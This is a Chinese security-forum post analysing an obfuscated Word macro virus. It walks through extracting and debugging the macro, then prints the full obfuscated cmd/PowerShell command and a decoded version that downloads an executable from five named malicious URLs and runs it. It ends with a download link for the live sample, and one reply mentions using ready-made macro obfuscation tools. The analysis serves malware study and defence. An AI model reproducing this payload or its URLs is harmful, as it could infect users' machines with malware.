吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

搜索
查看: 3857|回复: 14

[PC样本分析] 宏病毒混淆分析

  [复制链接]
1行 发表于 2020-3-5 18:05
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
本帖最后由 1行 于 2020-3-6 09:56 编辑

前言

很早之前就说要分析宏病毒,一直没机会,现在终于有空闲时间来分析一个混淆的比较厉害的宏病毒了。

静态分析

分析宏病毒时,可以利用 oledump.py 来将宏代码提取出来再进行分析。
使用命令  python oledump.py 文件名,即可查看文件流信息。
下图中的 M 表示该段中有宏代码。
在这里插入图片描述
python oledump.py -s 8 -v 11.dat >1.txt 可以将 8 段中的宏代码提取到 1.txt 中,再进行查看。
在这里插入图片描述
利用相同方式将其他几段的宏代码提取出来。
在这里插入图片描述
几个文件都是混淆的宏代码,代码量较大,可以直接在 word 中进行调试。
简单截几个图,大家看看。
在这里插入图片描述
在这里插入图片描述
宏病毒往往是作为payload的载体,通过创建其他例程,释放运行payload。无论宏病毒前面执行了多么复杂的操作,最后肯定会运行payload,而运行payload的方式可能是Shell、WScript.Shell、Application.Run等,我们可以直接搜索这些字符串迅速定位到运行payload的地方。
在这里插入图片描述

动态调试提取shell指令

在word中进行调试可以用一个大佬的办法(动态调试)。
可以在点击"启用内容"按钮的时候,按住SHIFT键,点击"启用内容"按钮,然后松开SHIFT。然后按下ALT+F11,打开宏编辑窗口,这时候可以在宏代码的main函数下断点、单步了。
可以查找 open ,在 open 函数处下断点,进行单步调试。
在这里插入图片描述
单步跟踪至 shell 字符所在位置,并将其进行修改打印在立即窗口(alt + g)
在这里插入图片描述

解密指令

要执行的命令为

Cmd ndhWBjQRaKjd lwBEdpHvYorokFIH HJtWpEl &     %^c^o^m^S^p^E^c^%     %^c^o^m^S^p^E^c^%     /V         /c           set %AnwNbCCfohPIFaY%=XPBczISw&&set %oOFGpBavpzWm%=p&&set %EHvWMSqvjSuF%=o^w&&set %kzllStTJVsNAmHD%=CICjHCmI&&set %YAndBHVC%=!%oOFGpBavpzWm%!&&set %nmUaLIvrUzcdRQM%=NGmNMYUPMrZqGj&&set %chqciOaM%=e^r&&set %koBpiAiEjM%=!%EHvWMSqvjSuF%!&&set %USVFzoX%=s&&set %riLcwjZszNwVfoi%=smwHVBPYvOR&&set %dtPZbzmsRzArHw%=he&&set %AhZtENTH%=ll&&!%YAndBHVC%!!%koBpiAiEjM%!!%chqciOaM%!!%USVFzoX%!!%dtPZbzmsRzArHw%!!%AhZtENTH%! " ('LCxn'+'sadas'+'d '+'= &(IM'+'TnIMT'+'+IM'+'TeIMT+I'+'M'+'Tw'+'-ob'+'jec'+'I'+'M'+'T'+'+IM'+'TtIM'+'T) r'+'an'+'dom'+';'+'L'+'Cx'+'YYU ='+' .(IMTneIMT+'+'IMT'+'wIMT'+'+IMT'+'-obj'+'ectI'+'MT) Sys'+'t'+'em'+'.Ne'+'t.Web'+'C'+'l'+'ie'+'n'+'t;LCxNSB = LCx'+'n'+'sa'+'d'+'a'+'sd'+'.ne'+'xt(1000'+'0, 2821'+'33'+');L'+'C'+'xADC'+'X = IMT http'+'s://'+'e-die'+'rks.de/'+'2'+'s'+'Vu5xN/@'+'http'+':/'+'/'+'e'+'a'+'st'+'f'+'oot'+'ball.co.uk/'+'b'+'kBaM'+'K/@http://'+'bom'+'ber'+'mus'+'ic.co'+'m/CHl3
4g'+'/@'+'ht'+'tp://za'+'f'+'ado.co'+'m'+'/'+'a'+'s'+'pne'+'t'+'_cli'+'e'+'n'+'t'+'/o4yd0Z06'+'/'+'@http'+'s://ave'+'rin.p'+'ro/'+'OEYhFkUj/'+'IMT.'+'Sp'+'lit(IMT'+'@'+'IMT);'+'LCx'+'SDC'+' = L'+'Cx'+'e'+'nv:p'+'u'+'blic + '+'IMT50nIMT'+' + LCxNSB'+' '+'+ (IMT.'+'exI'+'M'+'T+'+'IMTe'+'I'+'M'+'T'+');f'+'oreach(LCxasfc in LCxAD'+'C'+'X){try{'+'L'+'CxY'+'YU'+'.pEN'+'Do'+'AF'+'eWn'+'l'+'AFe'+'O'+'adFIAFelepE'+'N'+'(LC'+'xasfc.pEN'+'T'+'o'+'S'+'t'+'rAFe'+'iA'+'Fe'+'N'+'g'+'pEN(), '+'LCxS'+'D'+'C'+')'+';&(I'+'MTInv'+'oI'+'MT+IMTkI'+'M'+'T+IMTe-It'+'emI'+'MT'+')(L'+'CxSDC)'+';b'+'reak;}'+'catc'+'h{'+'}}').replACe(([CHAr]76+[CHAr]67+[CHAr]120),'$').replACe('50n',[StrINg][CHAr]92).replACe(([CHAr]112+[CHAr]69+[CHAr]78),[StrINg][CHAr]34).replACe('AFe',[StrINg][CHAr]96).replACe(([CHAr]73+[CHAr]77+[CHAr]84),[StrINg][CHAr]39)|& ( $pshoMe[21]+$PshOMe[30]+'x')

混淆的方式都是利用字符串替换。

开头是利用 set %AnwNbCCfohPIFaY%=XPBczISw 等替换成powershell,中间代码是利用char(num)获取字符,再使用replace来替换

经过解密之后的代码为

Cmd ndhWBjQRaKjd lwBEdpHvYorokFIH HJtWpEl &     %comSpEc%     %comSpEc%     /V         /c           set %AnwNbCCfohPIFaY%=XPBczISw&&set %oOFGpBavpzWm%=p&&set %EHvWMSqvjSuF%=o^w&&set %kzllStTJVsNAmHD%=CICjHCmI&&set %YAndBHVC%=!%p%!&&set %nmUaLIvrUzcdRQM%=NGmNMYUPMrZqGj&&set %chqciOaM%=e^r&&set %koBpiAiEjM%=!%o^w%!&&set %USVFzoX%=s&&set %riLcwjZszNwVfoi%=smwHVBPYvOR&&set %dtPZbzmsRzArHw%=he&&set %AhZtENTH%=ll&&!
powershell
$nsadasd = random;
$YYU = .(new -object) System.Net.WebClient;   下载样本
$NSB = random.next(10000, 282133); 随机命名样本
$ADCX =   https://e-dierks.de/2sVu5xN/ 
                        http://eastfootball.co.uk/bkBaMK/
                        http://bombermusic.com/CHl34g/
                        http://zafado.com/aspnet_client/o4yd0Z06/
                        https://averin.pro/OEYhFkUj/
                        恶意URL
$SDC = $env:public + '\' + $NSB + ('.exe);
for each($asfc in $ADCX){
        try{
                $YYU."DownloadFile"($asfc."ToString"(), $SDC); 
                &('Invoke-Item')($SDC); 运行恶意程序
                 break;}
        catch{
        }
}').replACe(('LCx'),'$').replACe('50n','\').replACe(('pEN','"').replACe('AFe','`').replACe(('IMT'),''')  |& ( iex )

基本流程为,使用CMD命令打开powershell,再在指定恶意URL处下载文件,并随机数字命名,最后运行恶意程序。

小结

分析到最后总结一下吧,大多宏病毒的最终目的是从恶意URL中下载恶意程序的,可以根据这个思路来快速查找。

最后再放上这个样本的下载地址,欢迎大家一起分析讨论。

链接:https://pan.baidu.com/s/1nh_KsOvxufwQbdHCLo_0WA
提取码:vnll

免费评分

参与人数 7威望 +1 吾爱币 +26 热心值 +6 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
爱国敬业哦 + 1 + 1 大佬ddw
枫玥异族 + 1 + 1 用心讨论,共获提升!
女萝岩 + 1 + 1 我很赞同!
jjbR18 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
加载中,请稍等 + 1 + 1 热心回复!
jamescookers988 + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

shaokui123 发表于 2020-3-10 21:35
约定的童话 发表于 2020-3-6 08:05
同问,学了这么长时间VBA关于这个混淆还是不是很懂

这个就是编程学到一定程度就慢慢了解了,属于加密方面的,网上没有几个讲的,我这两天找了工具可以混淆了,没时间从头学,拿现成的用就可以
 楼主| 1行 发表于 2020-3-6 09:55
shaokui123 发表于 2020-3-6 00:48
宏代码是用什么混淆的?

开头是利用 set %AnwNbCCfohPIFaY%=XPBczISw 等替换成powershell,中间代码是利用char(num)获取字符,再使用replace来替换
 楼主| 1行 发表于 2020-3-5 18:06
csdn 的也是我写的,写的时候忘记在Typora里写的,为止笔记里导出来图片就不显示,搞得我只能放CSDN的图了
雨落惊鸿, 发表于 2020-3-5 22:15
感谢分享
此用户无法显示 发表于 2020-3-5 22:24
在python里放宏这样提取,感谢分享
shaokui123 发表于 2020-3-6 00:48
宏代码是用什么混淆的?
约定的童话 发表于 2020-3-6 08:05
shaokui123 发表于 2020-3-6 00:48
宏代码是用什么混淆的?

同问,学了这么长时间VBA关于这个混淆还是不是很懂
gh0st_ 发表于 2020-3-6 08:16
感谢分享 学习了
nj2004 发表于 2020-3-6 08:41
学习了,谢谢分享!
 楼主| 1行 发表于 2020-3-6 09:57
约定的童话 发表于 2020-3-6 08:05
同问,学了这么长时间VBA关于这个混淆还是不是很懂

已在原文进行修改
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2020-7-10 13:53

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表